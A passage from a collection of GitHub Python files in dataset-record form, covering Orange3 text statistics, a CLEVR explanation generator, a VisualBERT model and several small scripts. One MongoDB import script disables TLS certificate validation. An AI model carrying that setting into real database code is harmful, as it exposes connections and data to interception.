count\", n_gram_count, None),\n (\"Average word length\", average_word_len, None),\n (\"Punctuation count\", punctuation_count, None),\n (\"Capital letter count\", capital_count, None),\n (\"Vowel count\", vowel_count, \"a,e,i,o,u\"),\n (\n \"Consonant count\",\n consonant_count,\n \"b,c,d,f,g,h,j,k,l,m,n,p,q,r,s,t,v,w,x,y,z\",\n ),\n (\"Per cent unique words\", per_cent_unique_words, None),\n (\"Starts with\", starts_with, \"\"),\n (\"Ends with\", ends_with, \"\"),\n (\"Contains\", contains, \"\"),\n (\"Regex\", regex, \"\"),\n (\"POS tag\", pos_tags, \"NN,VV,JJ\"),\n (\"Yule's I\", yule, None),\n (\"LIX index\", lix, None),\n]\nSTATISTICS_NAMES = list(list(zip(*STATISTICS))[0])\nSTATISTICS_FUNCTIONS = list(list(zip(*STATISTICS))[1])\nSTATISTICS_DEFAULT_VALUE = list(list(zip(*STATISTICS))[2])\n\n\ndef run(corpus: Corpus, statistics: Tuple[int, str], state: TaskState) -> None:\n \"\"\"\n This function runs the computation for new features.\n All results will be reported as a partial results.\n\n Parameters\n ----------\n corpus\n The corpus on which the computation is held.\n statistics\n Tuple of statistic pairs to be computed:\n (statistics id, string pattern)\n state\n State used to report progress and partial results.\n \"\"\"\n # callback is called for each corpus element statistics time\n tick_values = iter(np.linspace(0, 100, len(corpus) * len(statistics)))\n\n def advance():\n state.set_progress_value(next(tick_values))\n\n for s, patern in statistics:\n fun = STATISTICS_FUNCTIONS[s]\n result = fun(corpus, patern, advance)\n if result is not None:\n result = result + (ComputeValue(fun, patern),)\n state.set_partial_result((s, patern, result))\n\n\nclass OWStatistics(OWWidget, ConcurrentWidgetMixin):\n name = \"Statistics\"\n description = \"Create new statistic variables for documents.\"\n keywords = \"statistics\"\n icon = \"icons/Statistics.svg\"\n\n class Inputs:\n corpus = Input(\"Corpus\", Corpus)\n\n class Outputs:\n corpus = Output(\"Corpus\", Corpus)\n\n class Warning(OWWidget.Warning):\n not_computed = Msg(\n \"{} statistics cannot be computed and is omitted from results.\"\n )\n\n want_main_area = False\n mainArea_width_height_ratio = None\n\n # settings\n default_rules = [(0, \"\"), (1, \"\")] # rules used to reset the active rules\n active_rules: List[Tuple[int, str]] = Setting(default_rules[:])\n # rules active at time of apply clicked\n applied_rules: Optional[List[Tuple[int, str]]] = None\n\n result_dict = {}\n\n def __init__(self) -> None:\n OWWidget.__init__(self)\n ConcurrentWidgetMixin.__init__(self)\n self.corpus = None\n\n # the list with combos from the widget\n self.combos = []\n # the list with line edits from the widget\n self.line_edits = []\n # the list of buttons in front of controls that removes them\n self.remove_buttons = []\n\n self._init_controls()\n\n def _init_controls(self) -> None:\n \"\"\" Init all controls of the widget \"\"\"\n self._init_statistics_box()\n\n gui.button(self.buttonsArea, self, \"Apply\", callback=self.apply)\n\n def get_button(self, label, callback):\n return\n\n def _init_statistics_box(self) -> None:\n \"\"\"\n Init the statistics box in control area - place where used statistics\n are listed, remove, and added.\n \"\"\"\n box = gui.vBox(self.controlArea, box=True)\n\n rules_box = gui.vBox(box)\n self.rules_grid = grid = QGridLayout()\n rules_box.layout().addLayout(self.rules_grid)\n grid.setColumnMinimumWidth(1, 100)\n grid.setColumnMinimumWidth(0, 25)\n grid.setColumnStretch(0, 1)\n grid.setColumnStretch(1, 1)\n grid.setColumnStretch(2, 100)\n grid.addWidget(QLabel(\"Feature\"), 0, 1)\n grid.addWidget(QLabel(\"Pattern\"), 0, 2)\n\n gui.button(\n box,\n self,\n \"+\",\n callback=self._add_row,\n autoDefault=False,\n width=34,\n sizePolicy=(QSizePolicy.Maximum, QSizePolicy.Maximum),\n )\n gui.rubber(box)\n\n self.adjust_n_rule_rows()\n\n def adjust_n_rule_rows(self) -> None:\n \"\"\"\n Add or remove lines in statistics box if needed and fix the tab order.\n \"\"\"\n\n def _add_line():\n n_lines = len(self.combos) + 1\n\n # add delete symbol\n button = gui.button(\n None, self, \"×\", callback=self._remove_row,\n addToLayout=False, autoDefault=False, width=34,\n sizePolicy=(QSizePolicy.Maximum, QSizePolicy.Maximum))\n self.rules_grid.addWidget(button, n_lines, 0)\n self.remove_buttons.append(button)\n\n # add statistics type dropdown\n combo = QComboBox()\n combo.addItems(STATISTICS_NAMES)\n combo.currentIndexChanged.connect(self._sync_edit_combo)\n self.rules_grid.addWidget(combo, n_lines, 1)\n self.combos.append(combo)\n\n # add line edit for patern\n line_edit = QLineEdit()\n self.rules_grid.addWidget(line_edit, n_lines, 2)\n line_edit.textChanged.connect(self._sync_edit_line)\n self.line_edits.append(line_edit)\n\n def _remove_line():\n self.combos.pop().deleteLater()\n self.line_edits.pop().deleteLater()\n self.remove_buttons.pop().deleteLater()\n\n def _fix_tab_order():\n # TODO: write it differently - check create class\n for i, (r, c, l) in enumerate(\n zip(self.active_rules, self.combos, self.line_edits)\n ):\n c.setCurrentIndex(r[0]) # update combo\n l.setText(r[1]) # update line edit\n if STATISTICS_DEFAULT_VALUE[r[0]] is not None:\n l.setVisible(True)\n else:\n l.setVisible(False)\n\n n = len(self.active_rules)\n while n > len(self.combos):\n _add_line()\n while len(self.combos) > n:\n _remove_line()\n _fix_tab_order()\n\n def _add_row(self) -> None:\n \"\"\" Add a new row to the statistic box \"\"\"\n self.active_rules.append((0, \"\"))\n self.adjust_n_rule_rows()\n\n def _remove_row(self) -> None:\n \"\"\" Removes the clicked row in the statistic box \"\"\"\n remove_idx = self.remove_buttons.index(self.sender())\n del self.active_rules[remove_idx]\n self.adjust_n_rule_rows()\n\n def _sync_edit_combo(self) -> None:\n \"\"\" Update rules when combo value changed \"\"\"\n combo = self.sender()\n edit_index = self.combos.index(combo)\n selected_i = combo.currentIndex()\n default_value = STATISTICS_DEFAULT_VALUE[selected_i]\n self.active_rules[edit_index] = (selected_i, default_value)\n self.adjust_n_rule_rows()\n\n def _sync_edit_line(self) -> None:\n \"\"\" Update rules when line edit value changed \"\"\"\n line_edit = self.sender()\n edit_index = self.line_edits.index(line_edit)\n self.active_rules[edit_index] = (\n self.active_rules[edit_index][0],\n line_edit.text(),\n )\n\n @Inputs.corpus\n def set_data(self, corpus) -> None:\n self.corpus = corpus\n self.adjust_n_rule_rows()\n self.result_dict = {} # empty computational results when new data\n # reset old output - it also handle case with corpus == None\n self.Outputs.corpus.send(None)\n self.apply()\n\n def apply(self) -> None:\n \"\"\"\n This function is called when user click apply button. It starts\n the computation. When computation is finished results are shown\n on the output - on_done.\n \"\"\"\n if self.corpus is None:\n return\n self.applied_rules = copy(self.active_rules)\n self.cancel() # cancel task since user clicked apply again\n rules_to_compute = [\n r for r in self.active_rules if r not in self.result_dict\n ]\n self.start(run, self.corpus, rules_to_compute)\n\n def on_exception(self, exception: Exception) -> None:\n raise exception\n\n def on_partial_result(\n self, result: Tuple[int, str, Tuple[np.ndarray, List[str], Callable]]\n ) -> None:\n statistic, patern, result = result\n self.result_dict[(statistic, patern)] = result\n\n def on_done(self, result: None) -> None:\n # join results\n if self.corpus:\n self.output_results()\n\n # remove unnecessary results from dict - it can happen that user\n # already removes the statistic from gui but it is still computed\n for k in list(self.result_dict.keys()):\n if k not in self.active_rules:\n del self.result_dict[k]\n\n def output_results(self) -> None:\n self.Warning.not_computed.clear()\n to_stack = []\n attributes = []\n comput_values = []\n not_computed = []\n for rule in self.applied_rules:\n # check for safety reasons - in practice should not happen\n if rule in self.result_dict:\n res = self.result_dict[rule]\n if res is None:\n not_computed.append(STATISTICS_NAMES[rule[0]])\n else:\n data, variables, comp_value = res\n to_stack.append(data)\n attributes += variables\n comput_values.append(comp_value)\n if not_computed:\n self.Warning.not_computed(\", \".join(not_computed))\n new_corpus = self.corpus.extend_attributes(\n np.hstack(to_stack) if to_stack else np.empty((len(self.corpus), 0)),\n attributes, compute_values=comput_values\n )\n self.Outputs.corpus.send(new_corpus)\n\n\nif __name__ == \"__main__\":\n WidgetPreview(OWStatistics).run(Corpus.from_file(\"book-excerpts\"))\n","repo_name":"biolab/orange3-text","sub_path":"orangecontrib/text/widgets/owstatistics.py","file_name":"owstatistics.py","file_ext":"py","file_size_in_byte":21511,"program_lang":"python","lang":"en","doc_type":"code","stars":118,"dataset":"github-code","pt":"52"} +{"seq_id":"28206867760","text":"import csv\nimport numpy as np\ndef stddata(file):\n\tfilename = '../Data/Results/' + file\n\tdata = []\n\twith open(filename, 'r') as csvfile:\n\t\tcsvreader = csv.reader(csvfile, delimiter='\t')\n\t\tfor row in csvreader:\n\t\t\twhile '' in row:\n\t\t\t\trow.remove('')\n\t\t\tdata.append(row)\n\tdata = np.array(data)\n\tID = data[:,0]\n\taspectRating = data[:,6:10].astype(np.float)\n\tfor col in range(aspectRating.shape[1]):\n\t\taspectRating[:,col] *= (2 / np.std(aspectRating[:,col]))\n\t\taspectRating[:,col] += (3 - np.mean(aspectRating[:,col]))\n\t\t\n\t\tfor row in range(aspectRating.shape[0]):\n\t\t\tif aspectRating[row, col] > 5:\n\t\t\t\taspectRating[row, col] = 5\n\t\t\telif aspectRating[row, col] < 0:\n\t\t\t\taspectRating[row, col] = 0\n\t\t\telse:\n\t\t\t\taspectRating[row, col] = round(aspectRating[row, col], 1)\n\twith open('../Data/aspectRating/output_' + file , 'w') as outputfile:\n\t\twriter = csv.writer(outputfile, delimiter = '\t')\n\t\tfor i in range(aspectRating.shape[0]):\n\t\t\twriter.writerow(np.append([ID[i]],aspectRating[i]))\n\nif __name__ == \"__main__\":\n\tfor i in range(53):\n\t\tstddata('rest_prediction' + str(i) + '.dat')\n\n\n","repo_name":"yanliu8/lara","sub_path":"LARA/dataProcess/stddata.py","file_name":"stddata.py","file_ext":"py","file_size_in_byte":1079,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"37023738191","text":"#Embedded file name: e:\\jenkins\\workspace\\client_SERENITY\\branches\\release\\SERENITY\\packages\\trinutils\\searchpath.py\r\nimport contextlib\r\nimport blue\r\n\r\n@contextlib.contextmanager\r\ndef change_search_path_ctx(value, key = 'res'):\r\n\r\n def get_search_path():\r\n return blue.paths.GetSearchPath(key)\r\n\r\n def set_search_path(value_):\r\n blue.paths.SetSearchPath(key, unicode(value_))\r\n\r\n orig = get_search_path()\r\n set_search_path(value)\r\n try:\r\n yield\r\n finally:\r\n if orig is not None:\r\n set_search_path(orig)\r\n","repo_name":"connoryang/dec-eve-serenity","sub_path":"client/trinutils/searchpath.py","file_name":"searchpath.py","file_ext":"py","file_size_in_byte":561,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"52"} +{"seq_id":"12392344308","text":"import pymongo\ntoken = \"YOUR CONNECT TOKEN\"\ntry:\n client = pymongo.MongoClient(token,\n tls=True,\n tlsAllowInvalidCertificates=True)\n db = client['DATABASE']\n col = db['COL']\n print(\"SUCCES\")\nexcept Exception as e:\n print(\"ERROR: \",e)\n client.close()\n\nfile = open(\"data.txt\",\"r\")\ndata = []\nfor i in file:\n data.append(i)\n\nbigData = {}\ncounter = 0\nfor i in data:\n set = i.split(\",\")\n set[0] = set[0].strip(\"{\")\n set[-1] = set[-1].strip(\"}\")\n for j in set:\n data2 = j.split(\": \")\n try:\n d1 = data2[1].split(\"'\")\n k1 = data2[0].split(\"'\")\n a = {k1[1]:d1[1]}\n except:\n pass\n bigData.update(a)\n col.insert_one(bigData)\n #print(bigData)\n bigData = {}\n counter += 1\n print(\"Data Added\")\nprint(\"Amount of Data Added: \",counter)","repo_name":"saygin1bey/mongodbBackup","sub_path":"inport.py","file_name":"inport.py","file_ext":"py","file_size_in_byte":902,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"23942865454","text":"from django.urls import path\nfrom . import views\n\nurlpatterns=[\n path('usuario_create//', views.usuario_create, name='usuario_create'),\n path('usuario_list/', views.usuario_list, name='usuario_list'),\n path('usuario_edit//', views.usuario_edit, name='usuario_edit'),\n path('usuario_detail//', views.usuario_detail, name='usuario_detail'), \n\n]\n","repo_name":"DaxH/Certificado","sub_path":"usuarios/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":428,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"12352508185","text":"import matplotlib.pyplot as plt\nimport numpy as np\n\nwith open('signal.dtu', 'r') as text_file:\n signal, time = [], []\n for line in text_file:\n arr = []\n for value in line.strip().split('\\t'):\n try:\n value = float(value.strip(''))\n arr.append(value)\n except ValueError:\n break\n if not len(arr) == 0:\n time.append(arr[0])\n signal.append(arr[6])\n# given a signal x(t)\n# x = np.random.randn(1000)\n\ny = time\nx = signal\nplt.plot(y, x)\nplt.xlabel('Seconds')\nplt.ylabel('mV')\nplt.show()\n","repo_name":"Zorking/wavelet","sub_path":"get_cardio.py","file_name":"get_cardio.py","file_ext":"py","file_size_in_byte":598,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"39781539641","text":"\"\"\" OS MODULE \"\"\"\nimport os\n\n\ndef create_folder_if_not_exist(path):\n if os.path.exists(path) is False:\n os.makedirs(path)\n\n\ndef remove_file(path):\n os.remove(path)\n\n if os.path.exists(path) is False:\n return True\n else:\n return False\n","repo_name":"thedavos/automation-tools","sub_path":"utils/os_manager.py","file_name":"os_manager.py","file_ext":"py","file_size_in_byte":267,"program_lang":"python","lang":"vi","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"74477379685","text":"\nl = [{'uno': 1, 'dos':2}, {'three': 3, 'four': 4}]\n\ndef mod(d):\n for k in d:\n d[k] = d[k]+1\n # d['bar'] = 666 # this would break it with a RuntimeError: dictionary changed size during iteration\n\nfor d in l:\n mod(d)\n\nprint(l)\n","repo_name":"dgquintas/my-code-samples","sub_path":"python/args_by_reference/dicts.py","file_name":"dicts.py","file_ext":"py","file_size_in_byte":245,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"52"} +{"seq_id":"27343950726","text":"tele = {}\npreg=input(\"Ejecutar el programa? (S/N)\\n\")\nwhile preg==\"s\" or preg==\"S\":\n\tcond=input(\"Elija: 1. Imprimir 2. Agregar 3. Quitar 4. Buscar 5. Salir\\n\")\n\tif cond == \"1\":\n\t\tprint(\"Numeros telefonicos: \\n\")\n\t\tfor nom in tele.keys():\n \t\t\tprint(nom+\":\"+str(tele[nom])+\"\\n\")\n\telif cond == \"2\":\n\t\tnom=input(\"Nombre:\\n\")\n\t\tnum=input(\"Numero:\\n\")\n\t\ttele[nom] = int(num)\n\telif cond == \"3\":\n\t\tprint(\"Quitar Nombre y Numeros\\n\")\n\t\tnom=input(\"Diga el Nombre a eliminar\\n\")\n\t\tdel tele[nom]\n\telif cond == \"4\":\n\t\tprint(\"Buscar numeros\\n\")\n\t\tnom=input(\"Diga el Nombre a buscar\\n\")\n\t\tprint(\"Su numero es: \"+str(tele[nom])+\"\\n\")\n\telse:\n\t\tprint(\"Gracias por usar el programa\\n\")\n\t\tbreak\n","repo_name":"rodolz/uip-prog3","sub_path":"Laboratorios/Sem5/quiz5.py","file_name":"quiz5.py","file_ext":"py","file_size_in_byte":680,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"74165687845","text":"from __future__ import print_function\n\nimport argparse\nimport html\nimport json\nimport os\nimport random\nimport time\n\nimport pandas as pd\nfrom tqdm import tqdm\nfrom treelib.exceptions import DuplicatedNodeIdError\n\nfrom explanations import use_instantiated_template\n\n\"\"\"\nGenerate synthetic explanations for questions and answers for CLEVR images. Input is a single\nJSON file containing ground-truth scene information for all images, and output\nis a single JSON file containing all generated questions, answers, and programs.\n\nQuestions are generated by expanding templates. Each template contains a single\nprogram template and one or more text templates, both with the same set of typed\nslots; by convention = Size, = Color, = Material, = Shape.\n\nProgram templates may contain special nodes that expand into multiple functions\nduring instantiation; for example a \"filter\" node in a program template will\nexpand into a combination of \"filter_size\", \"filter_color\", \"filter_material\",\nand \"filter_shape\" nodes after instantiation, and a \"filter_unique\" node in a\ntemplate will expand into some combination of filtering nodes followed by a\n\"unique\" node.\n\nTemplates are instantiated using depth-first search; we are looking for template\ninstantiations where (1) each \"unique\" node actually refers to a single object,\n(2) constraints in the template are satisfied, and (3) the answer to the question\npasses our rejection sampling heuristics.\n\nTo efficiently handle (1) and (2), we keep track of partial evaluations of the\nprogram during each step of template expansion. This together with the use of\ncomposite nodes in program templates (filter_unique, relate_filter_unique) allow\nus to efficiently prune the search space and terminate early when we know that\n(1) or (2) will be violated.\n\"\"\"\n\n\n# TODO: Refactor!\n# - use the tests to really modularize the code above.\n# - to make the code more understandable, make things more visualized\n# - visualize the tree structure of the states variable. Maybe do so by using the moment a state is append to the list, because then \"state\" is the parent\n# - also templates could be visualized or pretty printed\n\n\nparser = argparse.ArgumentParser()\n\n# Inputs\nparser.add_argument(\n \"--input_scene_file\",\n default=\"../output/CLEVR_scenes.json\",\n help=\"JSON file containing ground-truth scene information for all images \"\n + \"from render_images.py\",\n)\nparser.add_argument(\n \"--input_questions_file\",\n default=\"../output/CLEVR_questions.json\",\n help=\"JSON file containing questions for all images.\",\n)\nparser.add_argument(\n \"--metadata_file\",\n default=\"metadata.json\",\n help=\"JSON file containing metadata about functions\",\n)\nparser.add_argument(\n \"--synonyms_json\",\n default=\"synonyms.json\",\n help=\"JSON file defining synonyms for parameter values\",\n)\nparser.add_argument(\n \"--template_dir\",\n default=\"CLEVR_1.0_templates\",\n help=\"Directory containing JSON templates for questions\",\n)\n\n# Output\nparser.add_argument(\n \"--output_explanations_file\",\n default=\"../output/CLEVR_explanations.json\",\n help=\"The output file to write containing generated explanations\",\n)\n\n# Control which and how many images to process\nparser.add_argument(\n \"--scene_start_idx\",\n default=0,\n type=int,\n help=\"The image at which to start generating questions; this allows \"\n + \"question generation to be split across many workers\",\n)\nparser.add_argument(\n \"--num_scenes\",\n default=0,\n type=int,\n help=\"The number of images for which to generate questions. Setting to 0 \"\n + \"generates questions for all scenes in the input file starting from \"\n + \"--scene_start_idx\",\n)\n\n# Control the number of questions per image; we will attempt to generate\n# templates_per_image * instances_per_template questions per image.\nparser.add_argument(\n \"--templates_per_image\",\n default=10,\n type=int,\n help=\"The number of different templates that should be instantiated \"\n + \"on each image\",\n)\nparser.add_argument(\n \"--instances_per_template\",\n default=1,\n type=int,\n help=\"The number of times each template should be instantiated on an image\",\n)\n\n# Allow to specify a specific template family and index to run\nparser.add_argument(\n \"--template_fn\",\n default=None,\n type=str,\n help=\"A specific template family as specified by the filename.\",\n)\nparser.add_argument(\n \"--template_idx\",\n default=None,\n type=int,\n help=\"A specific template as specified by the index. Must be used with --template_fn to set a filename.\",\n)\n\n# Misc\nparser.add_argument(\n \"--reset_counts_every\",\n default=250,\n type=int,\n help=\"How often to reset template and answer counts. Higher values will \"\n + \"result in flatter distributions over templates and answers, but \"\n + \"will result in longer runtimes.\",\n)\nparser.add_argument(\"--verbose\", action=\"store_true\", help=\"Print more verbose output\")\nparser.add_argument(\n \"--time_dfs\",\n action=\"store_true\",\n help=\"Time each depth-first search; must be given with --verbose\",\n)\nparser.add_argument(\n \"--profile\", action=\"store_true\", help=\"If given then run inside cProfile\"\n)\nparser.add_argument(\n \"--seed\", default=43, type=int, help=\"The seed to set for random.seed()\"\n)\nparser.add_argument(\n \"--log_to_dataframe\",\n default=False,\n type=bool,\n help=\"whether to log the results to a dataframe. Decreases performance and may increase memory usage, but enables html output of examples\",\n)\n# args = parser.parse_args()\n\n\nTEMPLATE_ORDER = [\n \"compare_integer.json\",\n \"comparison.json\",\n \"three_hop.json\",\n \"single_and.json\",\n \"same_relate.json\",\n \"single_or.json\",\n \"one_hop.json\",\n \"two_hop.json\",\n \"zero_hop.json\",\n]\n\n\ndef main(args):\n random.seed(args.seed)\n with open(args.metadata_file, \"r\") as f:\n metadata = json.load(f)\n dataset = metadata[\"dataset\"]\n if dataset != \"CLEVR-v1.0\":\n raise ValueError('Unrecognized dataset \"%s\"' % dataset)\n\n functions_by_name = {}\n for f in metadata[\"functions\"]:\n functions_by_name[f[\"name\"]] = f\n metadata[\"_functions_by_name\"] = functions_by_name\n\n # Load templates from disk\n # Key is (filename, file_idx)\n num_loaded_templates = 0\n templates = {}\n # FIXME: This does not look at the templates which are actually present, but using the template order is important so the matching of question to template is correct\n for fn in TEMPLATE_ORDER:\n if not fn.endswith(\".json\"):\n continue\n with open(os.path.join(args.template_dir, fn), \"r\") as f:\n base = os.path.splitext(fn)[0]\n for i, template in enumerate(json.load(f)):\n num_loaded_templates += 1\n key = (fn, i)\n templates[key] = template\n print(\"Read %d templates from disk\" % num_loaded_templates)\n\n def reset_counts():\n # Maps a template (filename, index) to the number of questions we have\n # so far using that template\n template_counts = {}\n # Maps a template (filename, index) to a dict mapping the answer to the\n # number of questions so far of that template type with that answer\n template_answer_counts = {}\n node_type_to_dtype = {n[\"name\"]: n[\"output\"] for n in metadata[\"functions\"]}\n for key, template in templates.items():\n template_counts[key[:2]] = 0\n final_node_type = template[\"nodes\"][-1][\"type\"]\n final_dtype = node_type_to_dtype[final_node_type]\n answers = metadata[\"types\"][final_dtype]\n if final_dtype == \"Bool\":\n answers = [True, False]\n if final_dtype == \"Integer\":\n if metadata[\"dataset\"] == \"CLEVR-v1.0\":\n answers = list(range(0, 11))\n template_answer_counts[key[:2]] = {}\n for a in answers:\n template_answer_counts[key[:2]][a] = 0\n return template_counts, template_answer_counts\n\n template_counts, template_answer_counts = reset_counts()\n\n all_questions = []\n with open(args.input_questions_file, \"r\") as f:\n questions_data = json.load(f)\n all_questions = questions_data[\"questions\"]\n\n # Read file containing input scenes\n all_scenes = []\n with open(args.input_scene_file, \"r\") as f:\n scene_data = json.load(f)\n all_scenes = scene_data[\"scenes\"]\n scene_info = scene_data[\"info\"]\n\n begin = args.scene_start_idx\n if args.num_scenes > 0:\n end = args.scene_start_idx + args.num_scenes\n all_scenes = all_scenes[begin:end]\n all_questions = all_questions[begin:end]\n else:\n all_scenes = all_scenes[begin:]\n all_questions = all_questions[begin:]\n\n # Read synonyms file\n with open(args.synonyms_json, \"r\") as f:\n synonyms = json.load(f)\n\n df = pd.DataFrame(\n columns=[\n \"Family\",\n \"ID\",\n \"Instantiated Language\",\n \"Image\",\n \"Answer\",\n \"Factual Answer\",\n ]\n )\n questions = []\n scene_count = 0\n for i, question in tqdm(\n enumerate(all_questions), total=len(all_questions), smoothing=0.05\n ):\n scene_fn: str = question[\"image_filename\"]\n scene_struct_candidates = [\n s for s in all_scenes if s[\"image_filename\"] == scene_fn\n ]\n if len(scene_struct_candidates) != 1:\n print(f\"no matching scene graph loaded for fn: {scene_fn}\")\n continue\n\n scene_struct = scene_struct_candidates[0]\n assert scene_struct[\"image_filename\"] == question[\"image_filename\"]\n\n if args.verbose:\n print(f\"starting question {scene_fn} ({i + 1} / {len(all_questions)})\")\n\n (fn, idx), cur_template = list(templates.items())[\n question[\"question_family_index\"]\n ]\n\n if args.template_fn is not None and args.template_idx is not None:\n if args.template_fn != fn or args.template_idx != idx:\n print(\n \"Skipped question as the given template filename and index does not match whats required via the args.\"\n )\n continue\n\n if args.verbose:\n print(\"Generating Explanations for template \", fn, idx)\n if args.time_dfs and args.verbose:\n tic = time.time()\n\n try:\n ef = use_instantiated_template(\n scene_struct,\n cur_template,\n question,\n metadata,\n template_answer_counts[(fn, idx)].copy(),\n synonyms,\n (fn, idx),\n max_instances=args.instances_per_template,\n verbose=args.verbose,\n )\n\n if args.time_dfs and args.verbose:\n toc = time.time()\n print(\"that took \", toc - tic)\n\n image_index = int(os.path.splitext(scene_fn)[0].split(\"_\")[-1])\n for f in ef:\n questions.append(\n {\n **question,\n **{\n \"factual_explanation\": f,\n \"counter_factual_explanation\": [],\n },\n }\n )\n\n if args.log_to_dataframe:\n img = f''\n df = df.append(\n {\n \"Family\": fn,\n \"ID\": idx,\n \"Nodes\": html.escape(\n json.dumps(cur_template[\"nodes\"], indent=4)\n ).replace(\"\\n\", \"
    \"),\n # \"Constraints\": html.escape(json.dumps(cur_template[\"constraints\"], indent=4)).replace(\"\\n\", \"
    \"),\n # \"Instantiated Nodes\": json.dumps(question[\"program\"], indent=4).replace(\"\\n\", \"
    \"),\n # \"Language Template\": \"

    \".join([html.escape(t) for t in cur_template[\"text\"]]),\n \"Instantiated Language\": question[\"question\"],\n \"Image\": img,\n \"Answer\": question[\"answer\"],\n \"Factual Answer\": \"

    \".join(f),\n # \"Counter Factual Answer\": \"

    \".join(\"
    \".join(x) for x in cf)\n },\n ignore_index=True,\n )\n except DuplicatedNodeIdError:\n print(f\"ERROR: Malformed program, skipping item {i}\")\n pass\n\n data = {\n \"info\": scene_info,\n \"questions\": questions,\n }\n with open(args.output_explanations_file, \"w\") as f:\n print(\"Writing output to %s\" % args.output_explanations_file)\n json.dump(data, f)\n\n # save this into the val images folder for the images to appear\n # print(df.sort_values(['Family', 'ID']).to_html(escape=False))\n if args.log_to_dataframe:\n try:\n split = \"val\"\n case = \"\"\n version = \"v0.7.11\"\n\n save_path = f\"./images/{split}{case}/debug_{version}.html\"\n\n number_of_items = 50\n\n subset_from_families = pd.concat(\n [\n df.sort_values([\"Family\"])\n .query(f\"Family == '{family}.json'\")\n .iloc[:number_of_items]\n for family in [\n \"compare_integer\",\n \"comparison\",\n \"one_hop\",\n \"same_relate\",\n \"three_hop\",\n \"two_hop\",\n \"zero_hop\",\n \"single_and\",\n \"single_or\",\n ]\n ]\n )\n\n subset_from_families.to_html(escape=False, buf=save_path)\n except FileNotFoundError:\n print(\"File not found, no df html saved\")\n\n # for easier testing also return the data\n return data\n\n\nif __name__ == \"__main__\":\n args = parser.parse_args()\n if args.profile:\n import cProfile\n\n cProfile.run(\"main(args)\")\n else:\n main(args)\n","repo_name":"ExplainableML/CLEVR-X","sub_path":"question_generation/generate_explanations.py","file_name":"generate_explanations.py","file_ext":"py","file_size_in_byte":14309,"program_lang":"python","lang":"en","doc_type":"code","stars":21,"dataset":"github-code","pt":"52"} +{"seq_id":"32231131968","text":"\nfrom images.exceptions import SourceImageIOError\nfrom images.models import Rendition\n\n\ndef get_rendition_or_not_found(image, specs):\n \"\"\"\n Tries to get / create the rendition for the image or renders a not-found image if it does not exist.\n \"\"\"\n try:\n return image.get_rendition(specs)\n except SourceImageIOError:\n # Image file is (probably) missing from /media/images - generate a dummy\n # rendition so that we just output a broken image, rather than crashing out completely\n # during rendering.\n rendition = Rendition(image=image, width=0, height=0)\n rendition.file.name = 'not-found'\n return rendition\n","repo_name":"stuartaccent/images","sub_path":"images/shortcuts.py","file_name":"shortcuts.py","file_ext":"py","file_size_in_byte":670,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"16629979319","text":"import os\n\nimport torch\nimport torch.nn as nn\n\nfrom param import args\n\nfrom src.vilio.modeling_bertX import BertLayerNorm, GeLU, BertLayer\n\nfrom src.vilio.modeling_bertD import BertD, BertConfig\n\nfrom src.vilio.transformers.tokenization_auto import AutoTokenizer\n\n\nclass InputFeatures(object):\n \"\"\"A single set of features of data.\"\"\"\n\n def __init__(self, input_ids, input_mask, segment_ids):\n self.input_ids = input_ids\n self.input_mask = input_mask\n self.segment_ids = segment_ids\n\ndef preprocess_bert(sents, max_seq_len, tokenizer):\n \"\"\"Loads a data file into a list of `InputBatch`s.\"\"\"\n features = []\n for sent in sents:\n # Remove double whitespaces\n sent = \" \".join(str(sent).split())\n tokens = tokenizer.tokenize(sent)\n\n if len(tokens) > max_seq_len - 2:\n tokens = tokens[:(max_seq_len - 2)]\n print(\"Too long: \", tokens)\n\n tokens = [\"[CLS]\"] + tokens + [\"[SEP]\"]\n input_ids = tokenizer.convert_tokens_to_ids(tokens)\n\n segment_ids = [0] * len(input_ids)\n input_mask = [1] * len(input_ids)\n\n # Zero-pad up to the sequence length.\n padding = [0] * (max_seq_len - len(input_ids))\n input_ids += padding\n input_mask += padding\n segment_ids += padding\n \n\n assert len(input_ids) == max_seq_len\n assert len(input_mask) == max_seq_len\n assert len(segment_ids) == max_seq_len\n\n features.append(\n InputFeatures(input_ids=input_ids,\n input_mask=input_mask,\n segment_ids=segment_ids))\n return features\n\nclass ModelD(nn.Module):\n \"\"\"\n VisualBERT Model with varying Bert Encoders.\n \"\"\"\n def __init__(self, args=args, max_seq_len=128, tr_name=args.tr):\n super().__init__()\n self.max_seq_len = max_seq_len\n self.tr_name = tr_name\n\n ### BUILD TOKENIZER ###\n self.tokenizer = AutoTokenizer.from_pretrained(tr_name)\n\n ### SETUP CONFIG ###\n config = BertConfig.from_json_file(\"src/vilio/config_bertD.json\")\n\n ### BUILD MODEL ###\n if tr_name.startswith(\"bert\"):\n self.model = BertD.from_pretrained(tr_name, config, num_labels=2)\n else:\n raise NotImplementedError\n\n ### CLASSIFICATION HEAD ###\n if args.reg:\n self.high_dropout = nn.Dropout(p=0.5)\n self.classifier = nn.Linear(self.model.config.hidden_size, 2)\n else:\n self.classifier = nn.Sequential(\n nn.Linear(self.dim, self.dim * 2),\n GeLU(),\n BertLayerNorm(self.dim * 2, eps=1e-12),\n nn.Linear(self.dim * 2, 2)\n )\n self.classifier.apply(self.init_weights)\n\n if args.from_scratch:\n print(\"initializing all the weights\")\n self.model.apply(self.model.init_weights)\n \n @property\n def dim(self):\n return self.model.config.hidden_size\n\n def forward(self, sents, visual_feats, visual_attention_mask=None):\n\n if self.tr_name.startswith(\"bert\") or self.tr_name.startswith(\"albert\"):\n train_features = preprocess_bert(sents, self.max_seq_len, self.tokenizer)\n\n input_ids = torch.tensor([f.input_ids for f in train_features], dtype=torch.long).cuda()\n input_mask = torch.tensor([f.input_mask for f in train_features], dtype=torch.long).cuda()\n 